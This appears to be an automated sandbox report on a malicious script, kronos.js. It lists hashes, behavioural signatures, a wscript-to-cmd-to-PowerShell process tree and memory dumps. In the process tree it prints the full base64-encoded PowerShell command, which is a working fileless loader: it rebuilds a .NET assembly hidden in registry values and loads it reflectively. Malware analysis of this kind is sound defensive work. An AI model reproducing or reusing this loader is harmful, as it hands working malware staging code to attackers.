a0081f88e43338810fe23bd2e1fba8857b45f4378df38fc0c217426468b924fc

General

Target

kronos.js
Size

2.5MB
MD5

bd52c3fcb98700992066743b021876dd
SHA1

c711676cf2dadffa73b3bd03de01fc3e6ea4e892
SHA256

a0081f88e43338810fe23bd2e1fba8857b45f4378df38fc0c217426468b924fc
SHA512

24b6831f75736ba70ba8fd00263391e220c7e7cbf3c0d9ed1bfb24f92384a4694282509864d139950afaa910a2c278371354e61a51348b652419bd9c405d7e3b

Score

1^/10

Malware Config

Signatures

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1056 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1056 powershell.exe
1056 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1056 powershell.exe

pid	process
1056	powershell.exe

pid	process
1056	powershell.exe
1056	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1056	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 1848 wrote to memory of 1648	1848	wscript.exe	cmd.exe
PID 1848 wrote to memory of 1648	1848	wscript.exe	cmd.exe
PID 1848 wrote to memory of 1648	1848	wscript.exe	cmd.exe
PID 1648 wrote to memory of 1056	1648	cmd.exe	powershell.exe
PID 1648 wrote to memory of 1056	1648	cmd.exe	powershell.exe
PID 1648 wrote to memory of 1056	1648	cmd.exe	powershell.exe
PID 1648 wrote to memory of 1056	1648	cmd.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\kronos.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1848

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAbwBmAHEAZgBzAGcAZAAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADcAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= "
2⤵
- Suspicious use of WriteProcessMemory
PID:1648

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAbwBmAHEAZgBzAGcAZAAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADcAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= "
3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1056

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/1056-4-0x0000000000000000-mapping.dmp

Download
memory/1056-5-0x0000000074590000-0x0000000074C7E000-memory.dmp

Filesize
6.9MB

Download
memory/1056-6-0x00000000044E0000-0x00000000044E1000-memory.dmp

Filesize
4KB

Download
memory/1056-7-0x00000000048D0000-0x00000000048D1000-memory.dmp

Filesize
4KB

Download
memory/1056-8-0x00000000045C0000-0x00000000045C1000-memory.dmp

Filesize
4KB

Download
memory/1056-9-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1056-12-0x0000000005760000-0x0000000005761000-memory.dmp

Filesize
4KB

Download
memory/1056-17-0x00000000057B0000-0x00000000057B1000-memory.dmp

Filesize
4KB

Download
memory/1056-18-0x00000000061D0000-0x00000000061D1000-memory.dmp

Filesize
4KB

Download
memory/1056-25-0x0000000006310000-0x0000000006311000-memory.dmp

Filesize
4KB

Download
memory/1648-2-0x0000000000000000-mapping.dmp

Download
memory/1848-3-0x0000000002D70000-0x0000000002D74000-memory.dmp

Filesize
16KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads